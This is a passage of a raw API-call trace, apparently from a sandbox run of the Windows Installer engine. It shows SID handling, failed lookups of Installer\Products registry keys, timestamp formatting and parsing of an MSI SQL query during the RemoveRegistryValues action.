nDestinationSidLength=0x48, pDestinationSid=0x10cda00, pSourceSid=0x10cd930*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cda00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0128.146] ConvertSidToStringSidW (in: Sid=0x10cda00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd9e0 | out: StringSid=0x10cd9e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0128.146] LocalFree (hMem=0x3d6170) returned 0x0 [0128.146] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0128.146] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0128.146] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdf60 | out: phkResult=0x10cdf60*=0x0) returned 0x2 [0128.146] GetCurrentThreadId () returned 0xf50 [0128.146] GetCurrentThreadId () returned 0xf50 [0128.146] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0128.146] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd920, TokenInformationLength=0x58, ReturnLength=0x10cd910 | out: TokenInformation=0x10cd920, ReturnLength=0x10cd910) returned 1 [0128.146] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cda00, pSourceSid=0x10cd930*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cda00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0128.146] ConvertSidToStringSidW (in: Sid=0x10cda00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd9e0 | out: StringSid=0x10cd9e0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0128.146] LocalFree (hMem=0x3d6020) returned 0x0 [0128.147] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0128.147] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0128.147] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdf60 | out: phkResult=0x10cdf60*=0x0) returned 0x2 [0128.147] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0128.147] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0128.147] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdf60 | out: phkResult=0x10cdf60*=0x0) returned 0x2 [0128.147] lstrlenW (lpString="UnpublishFeatures") returned 17 [0128.147] SetLastError (dwErrCode=0xd) [0128.147] SetLastError (dwErrCode=0xd) [0128.147] lstrlenW (lpString="Time") returned 4 [0128.147] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x25d)) [0128.147] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.148] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x25d)) [0128.148] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.148] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x25d)) [0128.148] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.148] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.148] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0128.148] memcpy (in: _Dst=0x3b5083a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0128.148] memcpy (in: _Dst=0x3b5083e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.148] SetLastError (dwErrCode=0x0) [0128.148] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.148] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.148] memcpy (in: _Dst=0x3b50844, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x3b50844) returned 0x3b50844 [0128.148] memcpy (in: _Dst=0x3b50862, _Src=0x34b110, _Size=0x2 | out: _Dst=0x3b50862) returned 0x3b50862 [0128.148] SetLastError (dwErrCode=0x0) [0128.148] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.148] memcpy (in: _Dst=0x3b50862, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50862) returned 0x3b50862 [0128.148] memcpy (in: _Dst=0x3b50868, _Src=0x34b114, _Size=0x2 | out: _Dst=0x3b50868) returned 0x3b50868 [0128.148] GetCurrentThreadId () returned 0xf50 [0128.148] GetCurrentThreadId () returned 0xf50 [0128.149] SetEvent (hEvent=0x170) returned 1 [0128.149] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.150] lstrlenW (lpString="ActionText") returned 10 [0128.150] lstrcmpW (lpString1="Advertise", lpString2="RemoveRegistryValues") returned -1 [0128.150] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="RemoveRegistryValues") returned -1 [0128.150] lstrcmpW (lpString1="AppSearch", lpString2="RemoveRegistryValues") returned -1 [0128.150] lstrcmpW (lpString1="BindImage", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="CCPSearch", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="CostFinalize", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="CostInitialize", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="CreateFolders", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="CreateShortcuts", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="DeleteServices", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="DuplicateFiles", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="FileCost", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="FindRelatedProducts", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="GenerateScript", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="InstallAdminPackage", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="InstallFiles", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="InstallODBC", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="InstallServices", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="InstallValidate", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="LaunchConditions", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="MoveFiles", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="PatchFiles", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="ProcessComponents", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="PublishComponents", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="PublishFeatures", lpString2="RemoveRegistryValues") returned -1 [0128.151] lstrcmpW (lpString1="PublishProduct", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterClassInfo", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterComPlus", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterFonts", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterProduct", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RegisterUser", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveFiles", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveFolders", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveIniValues", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveODBC", lpString2="RemoveRegistryValues") returned -1 [0128.152] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="RemoveRegistryValues") returned 0 [0128.152] lstrlenW (lpString="ProductLanguage") returned 15 [0128.152] SetLastError (dwErrCode=0x0) [0128.152] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0128.153] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x755f, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Removing system registry values\x09Key: [1], Name: [2]\r\n") returned 0x35 [0128.156] lstrlenW (lpString="Key: [1], Name: [2]") returned 19 [0128.156] lstrlenW (lpString="Removing system registry values") returned 31 [0128.156] FreeLibrary (hLibModule=0xc10002) returned 1 [0128.157] lstrlenW (lpString="RemoveRegistryValues") returned 20 [0128.157] lstrlenW (lpString="{{") returned 2 [0128.157] lstrlenW (lpString=": }}") returned 4 [0128.157] SetLastError (dwErrCode=0xd) [0128.157] lstrlenW (lpString="Time") returned 4 [0128.157] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x25d)) [0128.157] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.157] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x25d)) [0128.157] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.157] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x25d)) [0128.157] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.157] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.157] memcpy (in: _Dst=0x3b5081e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5081e) returned 0x3b5081e [0128.157] memcpy (in: _Dst=0x3b5082e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5082e) returned 0x3b5082e [0128.157] memcpy (in: _Dst=0x3b50832, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b50832) returned 0x3b50832 [0128.157] SetLastError (dwErrCode=0x0) [0128.158] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.158] memcpy (in: _Dst=0x3b50832, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50832) returned 0x3b50832 [0128.158] memcpy (in: _Dst=0x3b50838, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b50838) returned 0x3b50838 [0128.158] memcpy (in: _Dst=0x3b5083c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b5083c) returned 0x3b5083c [0128.158] SetLastError (dwErrCode=0x0) [0128.158] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.158] memcpy (in: _Dst=0x3b5083c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083c) returned 0x3b5083c [0128.158] GetCurrentThreadId () returned 0xf50 [0128.158] GetCurrentThreadId () returned 0xf50 [0128.158] SetEvent (hEvent=0x170) returned 1 [0128.158] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.161] lstrlenW (lpString="RemoveRegistryValues") returned 20 [0128.161] SetLastError (dwErrCode=0xd) [0128.161] SetLastError (dwErrCode=0xd) [0128.164] lstrlenW (lpString="Time") returned 4 [0128.164] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x26d)) [0128.164] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.164] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x26d)) [0128.164] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.164] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x26d)) [0128.164] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.164] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.164] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0128.164] memcpy (in: _Dst=0x3b5083a, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0128.164] memcpy (in: _Dst=0x3b5083e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.164] SetLastError (dwErrCode=0x0) [0128.164] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.164] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.164] memcpy (in: _Dst=0x3b50844, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b50844) returned 0x3b50844 [0128.164] GetCurrentThreadId () returned 0xf50 [0128.164] GetCurrentThreadId () returned 0xf50 [0128.164] SetEvent (hEvent=0x170) returned 1 [0128.165] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.183] lstrlenW (lpString="RemoveRegistry") returned 14 [0128.183] lstrlenW (lpString="Registry") returned 8 [0128.183] lstrlenW (lpString="RegAction") returned 9 [0128.183] lstrlenW (lpString="Registry") returned 8 [0128.183] lstrlenW (lpString="Root") returned 4 [0128.184] lstrlenW (lpString="Key") returned 3 [0128.184] lstrlenW (lpString="Name") returned 4 [0128.184] lstrlenW (lpString="Value") returned 5 [0128.184] lstrlenW (lpString="Component_") returned 10 [0128.184] lstrlenW (lpString="Action") returned 6 [0128.184] lstrlenW (lpString="ActionRequest") returned 13 [0128.184] lstrlenW (lpString="BinaryType") returned 10 [0128.185] lstrlenW (lpString="Attributes") returned 10 [0128.185] GlobalLock (hMem=0xf401c8) returned 0x3c0180 [0128.185] lstrlenW (lpString="Component") returned 9 [0128.185] GlobalUnlock (hMem=0xf401c8) returned 0 [0128.185] GlobalReAlloc (hMem=0xf401c8, dwBytes=0x108, uFlags=0x2) returned 0xf401c8 [0128.185] GlobalLock (hMem=0xf401c8) returned 0x21008a0 [0128.185] GlobalLock (hMem=0xf401b8) returned 0x3cc0f0 [0128.185] lstrlenW (lpString="SELECT `RegAction`.`BinaryType`,`Root`,`Key`,`Name`,`Value`, `Component_`, null, null, null, `Component`.`Attributes` FROM `RegAction`,`Component` WHERE `Component`=`Component_` AND (`RegAction`.`Action`=0 OR (`Root` = 0 AND (`RegAction`.`Action` = 11 OR `RegAction`.`Action` = 12))) ORDER BY `RegAction`.`BinaryType`, `Root`, `Key`") returned 332 [0128.185] lstrlenW (lpString="SELECT `RegAction`.`BinaryType`,`Root`,`Key`,`Name`,`Value`, `Component_`, null, null, null, `Component`.`Attributes` FROM `RegAction`,`Component` WHERE `Component`=`Component_` AND (`RegAction`.`Action`=0 OR (`Root` = 0 AND (`RegAction`.`Action` = 11 OR `RegAction`.`Action` = 12))) ORDER BY `RegAction`.`BinaryType`, `Root`, `Key`") returned 332 [0128.186] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0128.186] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0128.186] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0128.186] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0128.186] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0128.186] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0128.186] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0128.186] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0128.186] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0128.186] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0128.186] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0128.186] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0128.186] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0128.186] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0128.186] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0128.186] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0128.186] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0128.186] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0128.186] lstrlenW (lpString="RegAction") returned 9 [0128.186] lstrlenW (lpString="Component") returned 9 [0128.186] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0128.186] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0128.186] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0128.186] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0128.187] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0128.187] memcpy (in: _Dst=0x3cc0f8, _Src=0x3cc0f0, _Size=0x8 | out: _Dst=0x3cc0f8) returned 0x3cc0f8 [0128.187] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0128.187] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0128.187] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0128.187] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0128.187] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0128.187] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0128.187] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0128.187] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0128.187] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0128.187] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0128.187] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0128.187] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0128.187] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0128.187] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0128.187] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0128.187] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0128.187] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0128.187] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0128.187] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0128.188] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0128.189] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0128.189] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0128.189] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0128.189] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0128.189] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0128.189] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0128.189] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0128.189] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0128.190] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0128.190] 